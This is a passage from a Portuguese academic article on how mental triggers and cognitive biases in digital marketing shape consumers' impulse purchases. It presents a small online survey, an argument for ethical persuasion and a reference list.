<p class="wp-block-paragraph">Conforme a Lei Geral de Proteção de Dados (LGPD), em vigor no Brasil desde 2020, estabelece diretrizes claras sobre o uso de dados pessoais, reforçando a importância da ética na gestão da informação.&nbsp;</p>



<p class="wp-block-paragraph">Segundo os autores Marques e Lima (2022) destacam que a utilização de dados para personalizar anúncios, segmentar públicos e aumentar a eficácia de campanhas deve ser realizada de forma transparente, sempre com o consentimento do usuário e observando os princípios da finalidade, adequação e necessidade.</p>



<p class="wp-block-paragraph">Do ponto de vista do consumidor, cresce a conscientização sobre práticas abusivas e sobre como os algoritmos moldam comportamentos de compra, preferências e até opiniões. Segundo dados da Opinion Box (2023), 76% dos consumidores brasileiros já se sentem desconfortáveis com a quantidade de informações que as empresas possuem sobre eles, e 63% afirmam que já perceberam anúncios que pareciam &#8220;ler seus pensamentos&#8221;.&nbsp; Assim sendo, esse tipo de percepção intensifica a necessidade de um marketing mais ético, centrado no respeito à privacidade e na comunicação clara (Marques; Lima, 2022),</p>



<p class="wp-block-paragraph">As estratégias de influência digital vão além do cumprimento de obrigações legais para os autores Oliveira e Souza (2024) argumentam que, ao priorizar a ética, as empresas não apenas reduzem riscos reputacionais, mas também constroem marcas mais sólidas, confiáveis e alinhadas com os valores da sociedade contemporânea.</p>



<p class="wp-block-paragraph">Ocasionalmente, ao adotar uma postura ética no marketing digital não significa abrir mão da eficácia, consumidores cada vez mais valorizam marcas que se posicionam de forma honesta, autêntica e responsável. Segundo Marques <em>et.al., </em>(2022) a influência digital ética, portanto, não é uma limitação, mas sim um diferencial competitivo que contribui para o fortalecimento da imagem da marca e para o desenvolvimento de um ambiente digital mais saudável, seguro e justo.</p>



<p class="wp-block-paragraph">Em face disso, a ética é necessária nas estratégias de influência digital é garantir que a persuasão ocorra de forma consciente, transparente e respeitosa, protegendo os direitos dos consumidores e promovendo práticas de mercado sustentáveis. Sendo assim, a ética se torna não apenas uma escolha estratégica, mas uma exigência social e mercadológica no cenário atual.</p>



<p class="wp-block-paragraph"><strong>5. RESULTADOS DA PESQUISA</strong></p>



<p class="wp-block-paragraph">A obtenção dos dados desta pesquisa, foi por meio de um questionário online elaborado por meio da plataforma Google Forms. O formulário foi disponibilizado de forma pública e divulgado através de redes sociais, visando atingir um público diversificado e conectado ao ambiente digital.&nbsp;</p>



<p class="wp-block-paragraph">Ao todo, 62 pessoas responderam ao questionário, fornecendo informações relevantes sobre seus comportamentos de consumo no ambiente online, bem como sua percepção acerca da influência dos gatilhos mentais e dos vieses cognitivos no marketing digital.&nbsp;</p>



<p class="wp-block-paragraph">A partir dessas respostas, foi possível analisar padrões de comportamento, identificar os gatilhos mais recorrentes e compreender de que forma essas estratégias impactam as decisões de compra dos consumidores.</p>



<p class="wp-block-paragraph">Conforme o Gráfico 1 este revela que a maioria dos respondentes se encontra na faixa etária de 19 a 24 anos (37,1%), seguida por 25 a 34 anos (25,8%) e 35 a 44 anos (22,6%). Uma parcela menor tem 45 anos ou mais (12,9%) e apenas 1,6% possui até 18 anos.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 1</strong> – Identificação da faixa etária dos participantes da pesquisa</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="461" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-362-1024x461.png" alt="" class="wp-image-238428" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-362-1024x461.png 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-362-300x135.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-362-768x346.png 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-362.png 1384w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Dados da Pesquisa (2025)</p>



<p class="wp-block-paragraph">Em face disso, evidencia que o público predominante é composto por adultos jovens, que fazem parte de uma geração extremamente conectada ao ambiente digital. Consequentemente, esse perfil é altamente suscetível às estratégias de marketing online, principalmente às que envolvem gatilhos mentais e vieses cognitivos, pois estão frequentemente expostos a anúncios nas redes sociais e plataformas digitais.</p>



<p class="wp-block-paragraph">De acordo com o Gráfico 2, a grande maioria dos participantes, 62,9%, afirmam que costumam fazer compras online frequentemente, enquanto 24,2% realizam às vezes, 11,3% fazem raramente e apenas 1,6% nunca realiza compras online.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 2</strong> – Você costuma fazer compras online?</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="619" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-367-1024x619.png" alt="" class="wp-image-238433" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-367-1024x619.png 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-367-300x181.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-367-768x464.png 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-367.png 1296w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Dados da Pesquisa (2025)</p>



<p class="wp-block-paragraph">Com base nisso, apresenta que o quanto o ambiente digital faz parte da rotina dos consumidores, sendo um ambiente propício para a aplicação de técnicas persuasivas como escassez, urgência e prova social, que são gatilhos mentais eficazes no ambiente virtual.</p>



<p class="wp-block-paragraph">O Gráfico 3 mostra que 88,7% dos respondentes afirmam conhecer e saber o que é marketing digital, enquanto apenas 11,3% dizem não conhecer.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 3</strong> – Você conhece e sabe o que é marketing digital?</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="552" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-368-1024x552.png" alt="" class="wp-image-238434" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-368-1024x552.png 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-368-300x162.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-368-768x414.png 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-368.png 1202w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Dados da Pesquisa (2025)</p>



<p class="wp-block-paragraph">Posto isso, evidencia que os consumidores estão cada vez mais informados sobre as estratégias de comunicação digital. Em contrapartida, conhecer o conceito não os torna imunes aos efeitos dos gatilhos mentais e vieses cognitivos, uma vez que essas ferramentas operam, muitas vezes, de maneira subconsciente.</p>



<p class="wp-block-paragraph">No Gráfico 4, 53,2% dos participantes já ouviram falar sobre gatilhos mentais, enquanto 32,3% não conhecem e 14,5% não têm certeza.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 4</strong> – Você já ouviu falar sobre gatilhos mentais no marketing digital?</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="584" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-369-1024x584.png" alt="" class="wp-image-238435" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-369-1024x584.png 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-369-300x171.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-369-768x438.png 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-369.png 1265w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Dados da Pesquisa (2025)</p>



<p class="wp-block-paragraph">Mais da metade já tem algum grau de familiaridade com o conceito, o que demonstra que as discussões sobre persuasão e comportamento do consumidor estão ganhando espaço. Contudo, ainda há uma parcela significativa que não compreende plenamente como essas técnicas impactam suas decisões de compra.</p>



<p class="wp-block-paragraph">O Gráfico 5 apresenta que 45,2% dos respondentes já compraram algo por impulso algumas vezes, e 12,9% várias vezes, após se depararem com uma promoção relâmpago ou contagem regressiva. Posto isso, 27,4% afirmam que isso ocorre raramente, enquanto 14,5% nunca realizaram compras por esse motivo.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 5</strong> – Você já comprou algo por impulso após ver uma promoção relâmpago ou contagem regressiva?</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="516" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-370-1024x516.png" alt="" class="wp-image-238436" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-370-1024x516.png 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-370-300x151.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-370-768x387.png 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-370.png 1309w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Dados da Pesquisa (2025)</p>



<p class="wp-block-paragraph">Sendo assim, esse dado evidencia, de forma clara, a eficácia dos gatilhos de escassez e urgência, que apelam diretamente aos vieses cognitivos, levando o consumidor a tomar decisões rápidas e, muitas vezes, impulsivas, movidos pelo medo de perder uma oportunidade (FOMO – Fear of Missing Out).</p>



<p class="wp-block-paragraph">Acerca do Gráfico 6 indica que os principais fatores que influenciam a decisão de compra online são:</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 6</strong> – O que mais te influencia a comprar online?</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="508" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-371-1024x508.png" alt="" class="wp-image-238437" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-371-1024x508.png 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-371-300x149.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-371-768x381.png 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-371-1536x762.png 1536w, https://revistaft.com.br/wp-content/uploads/2025/10/image-371.png 1540w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Dados da Pesquisa (2025)</p>



<p class="wp-block-paragraph">Os dados revelam que os consumidores são altamente sensíveis a estímulos relacionados a vantagens econômicas (descontos e frete grátis), bem como à prova social, que se manifesta nas avaliações e recomendações de outros compradores ou influenciadores. A escassez, novamente, aparece como um elemento relevante no processo de decisão.</p>



<p class="wp-block-paragraph">Os dados obtidos na pesquisa demonstram de forma clara que os consumidores, embora estejam informados sobre o marketing digital, continuam bastante suscetíveis às técnicas de persuasão baseadas em gatilhos mentais e vieses cognitivos. Os elementos como urgência, escassez, descontos e prova social exercem grande influência nas decisões de compra online, muitas vezes levando a comportamentos impulsivos (Lima <em>et.al.,</em> 2023).</p>



<p class="wp-block-paragraph">Presente o exposto, é evidente que, no cenário do comércio digital, compreender como funciona essa “persuasão invisível” não só é fundamental para quem atua na área de marketing, mas também é essencial para que os consumidores desenvolvam uma postura mais crítica e consciente frente às estratégias que impactam diretamente seus hábitos de consumo (Castro <em>et.al., </em>2023).</p>



<p class="wp-block-paragraph">Já referente ao Gráfico 7 esse dado extremamente significativo é que 62,9% afirmam que frequentemente sentem que os anúncios “previram” exatamente aquilo que eles estavam desejando comprar, e outros 32,3% já sentiram isso algumas vezes.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 7</strong> –Você já sentiu que um anúncio “previu” o que você queria comprar?</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="605" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-372-1024x605.png" alt="" class="wp-image-238438" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-372-1024x605.png 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-372-300x177.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-372-768x454.png 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-372.png 1248w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Dados da Pesquisa (2025)</p>



<p class="wp-block-paragraph">Com base nisso, esse respectivo resultado reflete diretamente o uso de algoritmos aliados ao viés da familiaridade e ao retargeting, técnicas que fazem com que os anúncios pareçam quase ler os pensamentos dos usuários.</p>



<p class="wp-block-paragraph">As tecnologias são capazes de mapear o comportamento de navegação dos usuários, seus interesses e intenções de compra, oferecendo anúncios altamente personalizados (Lima; Vieira; Macedo, 2023). Segundo esses autores, os algoritmos de recomendação aumentam significativamente a probabilidade de conversão, pois utilizam dados de busca, tempo de navegação e histórico de compras para gerar anúncios que parecem antecipar as necessidades dos consumidores.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 8</strong> –Você costuma confiar mais em produtos com muitas avaliações positivas, mesmo sem pesquisar mais sobre eles?</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="613" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-373-1024x613.png" alt="" class="wp-image-238439" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-373-1024x613.png 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-373-300x179.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-373-768x459.png 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-373.png 1063w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Dados da Pesquisa (2025)</p>



<p class="wp-block-paragraph">O gatilho da prova social aparece novamente, com 59,7% dos participantes dizendo confiar mais em produtos que possuem muitas avaliações positivas, mesmo sem realizar uma pesquisa mais aprofundada. Consequentemente, esse dado reforça como o comportamento de outros consumidores serve como âncora para decisões rápidas e, muitas vezes, impulsivas.</p>



<p class="wp-block-paragraph">O fato de 59,7% dos entrevistados confiarem mais em produtos com muitas avaliações positivas, mesmo sem pesquisarem mais, evidencia claramente o efeito da <em>prova social</em>. De acordo com Silva e Moresi (2022), a prova social é um dos gatilhos mais influentes no ambiente online, pois os consumidores tendem a acreditar que, se muitas pessoas avaliaram positivamente um produto, ele possui maior qualidade e confiabilidade, reduzindo a percepção de risco na compra.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 9</strong> –Você acha que o marketing digital influencia suas decisões de compra de forma inconsciente?</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="671" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-374-1024x671.png" alt="" class="wp-image-238440" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-374-1024x671.png 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-374-300x197.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-374-768x503.png 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-374.png 1167w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Dados da Pesquisa (2025)</p>



<p class="wp-block-paragraph">Frente a isso, os pesquisados quando questionados sobre a influência inconsciente do marketing digital, 27,4% reconhecem que são muito influenciados, e 33,9% admitem que isso ocorre às vezes. Apenas 17,7% acreditam que suas decisões são totalmente racionais, enquanto 21% não sabem dizer. Posto isso, o respectivo dado confirma que o marketing digital, de fato, exerce uma influência que muitas vezes passa despercebida pelos consumidores.</p>



<p class="wp-block-paragraph">Os dados mostram que 61,3% (soma de “Sim, muito” e “Sim, mas só às vezes”) reconhecem que o marketing digital influencia inconscientemente suas decisões. Segundo Dias e Silva (2023), que apontam que estratégias baseadas em gatilhos mentais e neuromarketing têm capacidade de acessar processos inconscientes do cérebro, despertando emoções que conduzem à compra, mesmo quando o consumidor acredita estar agindo de forma racional.</p>



<p class="wp-block-paragraph">O último Gráfico 10 pesquisa mostra que 41,9% já se arrependeram algumas vezes de compras feitas por impulso após verem anúncios online, e 33,9% raramente sentem esse arrependimento, o que demonstra que, mesmo percebendo posteriormente, muitos continuam expostos e suscetíveis aos gatilhos mentais que conduzem suas decisões de consumo.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 10</strong>– Você se arrepende de compras feitas por impulso após ver anúncios online?</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="942" height="630" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-375.png" alt="" class="wp-image-238441" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-375.png 942w, https://revistaft.com.br/wp-content/uploads/2025/10/image-375-300x201.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-375-768x514.png 768w" sizes="(max-width: 942px) 100vw, 942px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Dados da Pesquisa (2025)</p>



<p class="wp-block-paragraph">Sendo assim, o dado de que 41,9% afirmam se arrepender às vezes e 33,9% raramente, após compras impulsivas motivadas por anúncios, mostra a força dos gatilhos de escassez, urgência e recompensa imediata. Segundo Costa e Martins (2023), o marketing digital utiliza estímulos sensoriais e emocionais que desativam temporariamente os mecanismos de controle racional, levando os consumidores ao consumo por impulso e, posteriormente, ao arrependimento.</p>



<p class="wp-block-paragraph">Os resultados desta pesquisa comprovam de forma clara e objetiva como os gatilhos mentais e os vieses cognitivos operam de maneira invisível, porém extremamente eficaz, no marketing digital. A grande maioria dos consumidores se percebe influenciada, compra por impulso e se sente impactada por estratégias como urgência, escassez, prova social e personalização algorítmica (Marques <em>et.al., </em>2022).</p>



<p class="wp-block-paragraph">Segundo Castro <em>et.al.,</em> (2024) as empresas que adotam uma comunicação clara, verdadeira e objetiva não apenas fortalecem sua credibilidade, como também geram relações de confiança duradouras com seus públicos. Segundo Santos <em>et al. </em>(2023), a omissão de informações importantes ou o uso exagerado de técnicas como escassez e urgência, sem respaldo real, comprometem a sustentabilidade da comunicação, resultando em experiências negativas, arrependimento pós-compra e desgaste da imagem empresarial.</p>



<p class="wp-block-paragraph">No ambiente digital, a construção de narrativas e campanhas precisa contemplar diferentes perfis sociais, étnicos, culturais e de gênero, evitando estereótipos, preconceitos ou práticas excludentes (Lima <em>et.al., </em>2023). Como destacam Costa e Andrade (2024), empresas que incorporam a diversidade em suas estratégias de marketing não apenas ampliam seu alcance de mercado, como também contribuem para uma sociedade mais justa e plural.</p>



<p class="wp-block-paragraph">Ao invés de explorar apenas gatilhos emocionais para acelerar decisões, empresas podem adotar uma postura educativa, oferecendo conteúdos que ajudem o consumidor a compreender melhor os produtos, refletir sobre suas reais necessidades e tomar decisões mais conscientes. Como observa Sakamoto (2023), esse tipo de ação não reduz as vendas; ao contrário, promove maior satisfação e fidelização no longo prazo, uma vez que o consumidor sente-se respeitado e valorizado.</p>



<p class="wp-block-paragraph">Em face disso, é perceptível que no ambiente digital, as decisões de compra raramente são completamente racionais, sendo guiadas, na maioria das vezes, por processos inconscientes habilmente explorados pelas empresas.</p>



<p class="wp-block-paragraph"><strong>6. CONSIDERAÇÕES FINAIS</strong></p>



<p class="wp-block-paragraph">O presente estudo teve como objetivo compreender como o marketing digital, por meio da utilização de gatilhos mentais e vieses cognitivos, influencia o comportamento de compra dos consumidores, especialmente de maneira inconsciente. A partir da análise teórica e dos dados levantados, foi possível constatar que as estratégias de persuasão, quando aplicadas de forma responsável, podem ser ferramentas eficazes na construção de relacionamentos duradouros entre empresas e consumidores, contribuindo tanto para os objetivos organizacionais quanto para a satisfação dos clientes.</p>



<p class="wp-block-paragraph">Em contrapartida, a pesquisa também revelou que o uso indiscriminado e não ético dessas ferramentas pode ultrapassar os limites da persuasão e se aproximar de práticas manipulativas. A exploração de vulnerabilidades emocionais e cognitivas, sobretudo em ambientes digitais altamente conectados, pode gerar impactos negativos, como arrependimento de compra, perda de confiança na marca e danos à reputação empresarial, posto isso, a constatação imprime a importância da gestão ética na elaboração de estratégias de marketing.</p>



<p class="wp-block-paragraph">O avanço das tecnologias digitais, aliado à inteligência de dados e aos algoritmos, ampliou significativamente o poder de influência das marcas. Assim sendo, a responsabilidade empresarial torna-se um imperativo, exigindo das organizações não apenas o cumprimento das legislações vigentes, como a Lei Geral de Proteção de Dados (LGPD), mas também a adoção de práticas que valorizem a transparência, o respeito ao consumidor e a construção de valor social.</p>



<p class="wp-block-paragraph">Posto isso, os consumidores estão cada vez mais atentos às práticas das empresas, valorizando aquelas que demonstram comprometimento com a ética, a responsabilidade socioambiental e a proteção de seus dados. Assim, a percepção do consumidor não se limita mais à qualidade do produto ou serviço, mas está diretamente relacionada aos valores e à postura adotada pela marca no mercado.</p>



<p class="wp-block-paragraph">Diante desse panorama, destaca-se que os gestores e profissionais de marketing devem ir além da busca por resultados financeiros. É necessário equilibrar objetivos comerciais com princípios éticos, promovendo campanhas que sejam não apenas eficientes, mas também justas, transparentes e alinhadas aos direitos dos consumidores. A aplicação de gatilhos mentais e vieses cognitivos deve, portanto, ser conduzida com responsabilidade, garantindo que o consumidor mantenha sua autonomia e sua capacidade de escolha consciente.</p>



<p class="wp-block-paragraph">Perante o exposto, a presente pesquisa contribuiu para o fortalecimento do debate sobre os limites éticos no uso das estratégias de influência digital, incentivando tanto profissionais quanto consumidores a refletirem sobre os impactos dessas práticas no mercado e na sociedade.&nbsp;</p>



<hr class="wp-block-separator alignwide has-alpha-channel-opacity"/>



<p class="wp-block-paragraph"><sup>4</sup>Conheça as principais técnicas de persuasão e saiba como usá-las em seu negócio. Disponível em: https://etica.cnt.br/conheca-as-principais-tecnicas-de-persuasao-e-saiba-como-usa-las-em-seu-negocio/. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph"><sup>5</sup>Massivo de Retargeting é uma expressão relacionada ao marketing digital e refere-se à prática de realizar campanhas de retargeting em grande escala, ou seja, com alto volume de usuários e anúncios. O retargeting (ou remarketing) é uma estratégia que visa alcançar novamente usuários que já interagiram com uma marca, produto ou serviço, seja visitando um site, abandonando um carrinho de compras ou clicando em um anúncio. Basicamente, “massivo de retargeting”, está-se referindo ao uso intensivo dessa estratégia, normalmente com o apoio de plataformas automatizadas (como Google Ads, Facebook Ads, entre outras), para impactar grandes audiências com anúncios<br>personalizados que aumentem a taxa de conversão (Kotler; Keller, 2016, p. 581).</p>



<p class="wp-block-paragraph"><sup>6</sup>Por que avisos de gatilho não protegem de conteúdos sensíveis. 27 dez. 2019. Disponível em:<br>https://www.nexojornal.com.br/externo/2019/12/27/por-que-avisos-de-gatilho-nao-protegem-de-conteudos-sensiveis. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">AMERICAN MARKETING ASSOCIATION (AMA). <strong>Official Definition of Marketing.</strong> Chicago: AMA, 1960.</p>



<p class="wp-block-paragraph">ALBERTIN, Alberto Luiz. <strong>Comércio Eletrônico: modelo, aspectos e contribuições de sua aplicação</strong>. 6 ed. São Paulo: Atlas, 2010.</p>



<p class="wp-block-paragraph">BELALIAN, Daniel. <strong>Artigos sobre E-Commerce que Você Precisa Ler.</strong> 2015.&nbsp;Disponível em: <a href="https://www.dlojavirtual.com/e-commerce/artigos-sobre-e-commerce">https://www.dlojavirtual.com/e-commerce/artigos-sobre-e-commerce</a>. Acesso em: 25 set. 2024.</p>



<p class="wp-block-paragraph">BULLOCK, Will. <strong>A lógica do consumo: verdades e mentiras sobre por que compramos</strong>. São Paulo: BestSeller, 2014.</p>



<p class="wp-block-paragraph">CERNEV, Adrian Kemmer; LEITE, Jaci Corrêa. <strong>Segurança na internet: a percepção dos usuários como fator de restrição ao comércio eletrônico no Brasil.</strong> 2002. 262 f. Dissertação (Mestrado em Sistemas de Informação) – Curso de&nbsp;Sistemas de Informação, Departamento de Administração, Fundação Getúlio Vargas, São Paulo, 2005.</p>



<p class="wp-block-paragraph">COIMBRA, A. <strong>Gatilhos mentais vs. manipulação: como usar psicologia no marketing de forma ética.</strong> 2024. Disponível em: <a href="https://andrecoimbra.blog.br/gatilhos-mentais-vs-manipulacao/">https://andrecoimbra.blog.br/gatilhos-mentais-vs-manipulacao/</a>. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">COSTA, J. R.; MARTINS, L. A influência do marketing sensorial e dos gatilhos mentais no comportamento de compra impulsiva no e-commerce. <strong>Revista Foco</strong>, v.&nbsp;16, n. 10, p. 56-72, 2023. Disponível em: https://ojs.focopublicacoes.com.br/index.php/foco/article/view/1473. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">COSTA, R. F.; ANDRADE, M. L. <strong>Marketing inclusivo: o impacto da diversidade na construção de marcas conscientes.</strong> Revista Gestão &amp; Sociedade, v. 18, n. 50, p. 1-20, 2024. Disponível em: <a href="https://revistags.emnuvens.com.br/gs/article/view/4105">https://revistags.emnuvens.com.br/gs/article/view/4105</a>. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">CRUZ, Cleide Ane Barbosa da; SILVA, Lângesson Lopes da. <strong>Utilização do comércio eletrônico como elemento facilitador da sociedade.</strong> 7 ed. Lagarto: Revista Eletrônica da Faculdade José Augusto Vieira, 2012.</p>



<p class="wp-block-paragraph">DINIZ, Letícia Lelis et al. <strong>O Comércio Eletrônico como Ferramenta Estratégica de Vendas para Empresas</strong>. In: ENCONTRO CIENTÍFICO E SIMPÓSIO DE EDUCAÇÃO UNISALESIANO, 3., 2011, Lins, SP. Anais [&#8230;]. São Paulo: Unisalesiano, 2011. p. 1-13.</p>



<p class="wp-block-paragraph">DIAS, E.; SILVA, G. A. Aplicação da educação e gestão financeira nas microempresas e empresas de pequeno porte: um estudo em Alagoas. <strong>Revista Foco</strong>, v. 16, n. 11, p. 31-47, 2023. Disponível em: https://ojs.focopublicacoes.com.br/index.php/foco/article/view/1437. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">ESTEVES; S., P. <strong>Uso da internet pelo consumidor da terceira idade: influências do risco percebido e impacto na intenção de compra online.</strong> Tese (Doutorado – Programa de Pós-Graduação em Administração) – Universidade do Rio Grande do Sul, Escola de Administração, Porto Alegre, 2014.</p>



<p class="wp-block-paragraph">ÉTICA, Auditoria e Assessoria Contábil. <strong>Conheça as principais técnicas de persuasão e saiba como usá-las em seu negócio.</strong> 2024. Disponível em: <a href="https://etica.cnt.br/noticias/tecnicas-de-persuassao/">https://etica.cnt.br/noticias/tecnicas-de-persuassao/</a>. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">iCLINIC. <strong>Gatilhos mentais: conheça 12 gatilhos do marketing médico!</strong> 2024. Disponível em: <a href="https://blog.iclinic.com.br/gatilhos-mentais-marketing/">https://blog.iclinic.com.br/gatilhos-mentais-marketing/</a>. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">KOTLER, P.; KELLER, K. L. <strong>Administração de marketing: a bíblia do marketing.</strong>&nbsp;16. ed. São Paulo: Pearson, 2021.</p>



<p class="wp-block-paragraph">LAS CASAS, Alexandre Luzzi. <strong>Marketing: conceitos, exercícios e casos</strong>. 9. ed. São Paulo: Atlas, 2006.</p>



<p class="wp-block-paragraph">LIMA, L. G.; VIEIRA, E. S.; MACEDO, R. A. Algoritmos de recomendação e sua influência nas decisões de consumo. <strong>Revista Foco</strong>, v. 16, n. 11, p. 123-137, 2023.&nbsp;Disponível em: https://ojs.focopublicacoes.com.br/index.php/foco/article/view/1437. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">MARQUES, A. C.; LIMA, T. F. <strong>Privacidade e ética no marketing digital: desafios na era dos algoritmos.</strong> Revista Foco, v. 16, n. 11, p. 91-105, 2022. Disponível em: <a href="https://ojs.focopublicacoes.com.br/index.php/foco/article/view/1439">https://ojs.focopublicacoes.com.br/index.php/foco/article/view/1439</a>. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">NAGATO, Comunicação Persuasiva. <strong>Persuasão no marketing: estratégias éticas e eficazes para aumentar suas vendas!</strong> 2023. Disponível em: https://nagaito.com/marketing-estrategias-éticas/. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">NÚNEZ, G. <strong>Gatilhos mentais: o segredo da persuasão no marketing digital e vendas.</strong> Focus Publicidade, 28 nov. 2024. Disponível em: <a href="https://www.focuspublicidade.com.br/gatilhos-mentais-marketing/">https://www.focuspublicidade.com.br/gatilhos-mentais-marketing/</a>. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">OLIVEIRA, J. P.; SOUZA, D. R. <strong>Fadiga digital e ansiedade de consumo: uma análise dos impactos do marketing persuasivo nas redes sociais.</strong> Revista de Psicologia e Marketing, v. 32, n. 1, p. 33-50, 2024. Disponível em: <a href="https://revistapsicologiamarketing.com.br/article/view/2024">https://revistapsicologiamarketing.com.br/article/view/2024</a>. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">OPINION BOX. <strong>Pesquisa: privacidade de dados e marketing digital no Brasil.</strong>&nbsp;2023. Disponível em: <a href="https://opinionbox.com/blog/pesquisa-privacidade-marketing">https://opinionbox.com/blog/pesquisa-privacidade-marketing</a>. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">READE, Dennis V.; ROCHA, Marcos; OLIVEIRA, Sérgio Luis Ignácio de; CHERNIOGLO, <strong>Andréa. Estratégico de marketing.</strong>&nbsp; Editora Saraiva, 2015. Ebook. ISBN 978-85-02-63878-5. Disponível em: https://integrada.minhabiblioteca.com.br/#/books/978-85-02-63878-5/. Acesso em: 08 abr. 2025.</p>



<p class="wp-block-paragraph">ROQUIM, Anderson. <strong>Gatilhos mentais: 38 gatilhos para vender muito mais usando a mente do seu cliente. </strong>São Paulo: Independente, 2021.</p>



